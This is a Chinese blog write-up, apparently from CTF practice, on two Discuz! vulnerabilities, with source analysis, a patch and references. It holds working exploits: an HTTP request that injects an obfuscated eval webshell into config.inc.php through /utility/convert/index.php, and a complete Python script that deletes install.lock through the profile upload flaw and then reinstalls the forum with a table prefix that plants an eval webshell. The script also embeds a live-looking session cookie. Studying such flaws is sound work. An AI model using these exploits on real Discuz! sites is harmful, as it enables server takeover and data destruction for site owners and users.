近期碰到一些dz的漏洞,做了一下某春秋上面的题,大概的记录一下吧,顺便分析一下源码.
/utility/convert/index.php利用
版本未知,之前看是dz的通杀,现在不知道了.. 首先访问这个链接
然后发现是个版本切换的界面
设置服务器信息的东西会写到配置文件,配置页面可连菜刀
贴个exp
1 2 3 4 5 6 7 8 9 10 11
| POST /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1 Host: www.test.ichunqiu User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 199 Content-Type: application/x-www-form-urlencoded
newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes
|
代码可以直接getshell,恶意代码写入/convert/data/config.inc.php文件中
漏洞代码分析
\discuz\utility\convert\index.php
查看do_config.inc.php,关键函数save_config_file
跟进\discuz\utility\convert\include\global.func.php
去看函数
关键函数getvars,继续跟进
关键函数buildarray
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| function buildarray($array, $level = 0, $pre = '$_config') { static $ks; if($level == 0) { $ks = array(); $return = ''; }
foreach ($array as $key => $val) { if($level == 0) { $newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n"; }
$ks[$level] = $ks[$level - 1]."['$key']"; if(is_array($val)) { $ks[$level] = $ks[$level - 1]."['$key']"; $return .= buildarray($val, $level + 1, $pre); } else { $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val; $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n"; } } return $return; }
|
防御方法
可以把key里面的非字符数字下划线转成空字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| function buildarray($array, $level = 0, $pre = '$_config') { static $ks; if($level == 0) { $ks = array(); $return = ''; }
foreach ($array as $key => $val) { $key = preg_replace("/[^\w]/", "", $key);
if($level == 0) { $newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH); $return .= "\r\n// $newline //\r\n"; }
$ks[$level] = $ks[$level - 1]."['$key']"; if(is_array($val)) { $ks[$level] = $ks[$level - 1]."['$key']"; $return .= buildarray($val, $level + 1, $pre); } else { $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val; $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n"; } } return $return; }
|
参考链接
http://www.cnblogs.com/LittleHann/p/4317665.html
任意文件删除及其衍生getshell
Discuz!X<=3.4可用 提供可复现版本的dz:下载DiscuzX
漏洞本来是14年6月被交到wooyun的洞,原来的利用已经修复,添加了对属性的formtype判断,但是修复不完全导致可以绕过.
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| import base64 import random import re import string
import requests
sess = requests.Session() randstr = lambda len=5: ''.join(random.choice(string.ascii_lowercase) for _ in range(len))
target = 'http://localhost/discuzx'
cookie = "UM_distinctid=15bcd2339e93d6-07b5ae8b41447e-8373f6a-13c680-15bcd2339ea636; CNZZDATA1261218610=1456502094-1493792949-%7C1494255360; csrftoken=NotKIwodOQHO0gdMyCAxpMuObjs5RGdeEVxRlaGoRdOEeMSVRL0sfeTBqnlMjtlZ; Zy4Q_2132_saltkey=I9b3k299; Zy4Q_2132_lastvisit=1506763258; Zy4Q_2132_ulastactivity=0adb6Y1baPukQGRVYtBOZB3wmx4nVBRonRprfYWTiUaEbYlKzFWL; Zy4Q_2132_nofavfid=1; Zy4Q_2132_sid=rsQrgQ; Zy4Q_2132_lastact=1506787935%09home.php%09misc; 7Csx_2132_saltkey=U8nrO8Xr; TMT0_2132_saltkey=E3q5BpyX; PXMk_2132_saltkey=rGBnNWu7; b4Gi_2132_saltkey=adC4r05k; b4Gi_2132_lastvisit=1506796139; b4Gi_2132_onlineusernum=2; b4Gi_2132_sendmail=1; b4Gi_2132_seccode=1.8dab0a0c4ebfda651b; b4Gi_2132_sid=BywqMy; b4Gi_2132_ulastactivity=51c0lBFHqkUpD3mClFKDxwP%2BI0JGaY88XWTT1qtFBD6jAJUMphOL; b4Gi_2132_auth=6ebc2wCixg7l%2F6No7r54FCvtNKfp1e5%2FAdz2SlLqJRBimNpgrbxhSEnsH5%2BgP2mAvwVxOdrrpVVX3W5PqDhf; b4Gi_2132_creditnotice=0D0D2D0D0D0D0D0D0D1; b4Gi_2132_creditbase=0D0D0D0D0D0D0D0D0; b4Gi_2132_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; b4Gi_2132_lastcheckfeed=1%7C1506800134; b4Gi_2132_checkfollow=1; b4Gi_2132_lastact=1506800134%09misc.php%09seccode" shell_password = randstr() db_host = '' db_user = '' db_pw = '' db_name = ''
path = '/home.php?mod=spacecp&ac=profile&op=base' url = target + path
sess.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Referer': url})
def login(username=None, password=None): sess.headers.update({'Cookie': cookie})
def get_form_hash(): r = sess.get(url) match = re.search(r'"member.php\?mod=logging&action=logout&formhash=(.*?)"', r.text, re.I) if match: return match.group(1)
def tamper(formhash, file_to_delete): data = { 'formhash': (None, formhash), 'profilesubmit': (None, 'true'), 'birthprovince': (None, file_to_delete) } r = sess.post(url, files=data) if 'parent.show_success' in r.text: print('tamperred successfully') return True
def delete(formhash, file): if not tamper(formhash, file): return False
image = b'iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAADUlEQVR4nGNgGAWkAwABNgABVtF/yAAAAABJRU5ErkJggg==' data = { 'formhash': formhash, 'profilesubmit': 'true' } files = { 'birthprovince': ('image.png', base64.b64decode(image), 'image/png') } r = sess.post(url, data=data, files=files) if 'parent.show_success' in r.text: print('delete {} successfully'.format(file)) return True
def getshell(): install_url = target + '/install/index.php' r = sess.get(install_url) if '安装向导' not in r.text: print('install directory not exists') return False
table_prefix = "x');@eval($_POST[{}]);('".format(shell_password) data = { 'step': 3, 'install_ucenter': 'yes', 'dbinfo[dbhost]': db_host, 'dbinfo[dbname]': db_name, 'dbinfo[dbuser]': db_user, 'dbinfo[dbpw]': db_pw, 'dbinfo[tablepre]': table_prefix, 'dbinfo[adminemail]': 'admin@admin.com', 'admininfo[username]': 'admin', 'admininfo[password]': 'admin', 'admininfo[password2]': 'admin', 'admininfo[email]': 'admin@admin.com', } r = sess.post(install_url, data=data) if '建立数据表 CREATE TABLE' not in r.text: print('write shell failed') return False print('shell: {}/config/config_ucenter.php'.format(target)) print('password: {}'.format(shell_password))
if __name__ == '__main__': login() form_hash = get_form_hash() if form_hash: delete(form_hash, '../../../data/install.lock') getshell() else: print('failed')
|
代码逻辑
核心问题在upload/source/include/spacecp/spacecp_profile.php
首先看到第70行
当profile提交的时候执行下面的代码 然后继续往下看
这里本来没有判断,那么我们传入deletefile,然后遍历的时候把$space[$key]
拼接到路径然后unlink删掉了,其中$space[$key]
是可控的
加了判断之后不行了,因为用户信息字段都是非file类型,没办法
然而后面还是有漏洞,从第187行开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if($_FILES) { $upload = new discuz_upload(); foreach($_FILES as $key => $file) { if(!isset($_G['cache']['profilesetting'][$key])) { continue; } ... ... if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) { @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]); $verifyarr[$key] = $attach['attachment']; continue; } @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]); $setarr[$key] = $attach['attachment']; }
} }
|
这里只要传一张图片就可以绕过,然后unlink掉删除的文件
官方的修复是删掉了5个unlink...简单粗暴,但是确实有效...
重装的过程就不分析了,简而言之就是安装的时候tablepre的值可以插入到config.inc.php文件中,从而getshell
参考链接
http://blog.nsfocus.net/discuz-arbitrary-file-remove-vulnerability/
https://fafe.me/2017/10/02/discuz-getshell/
https://paper.seebug.org/411/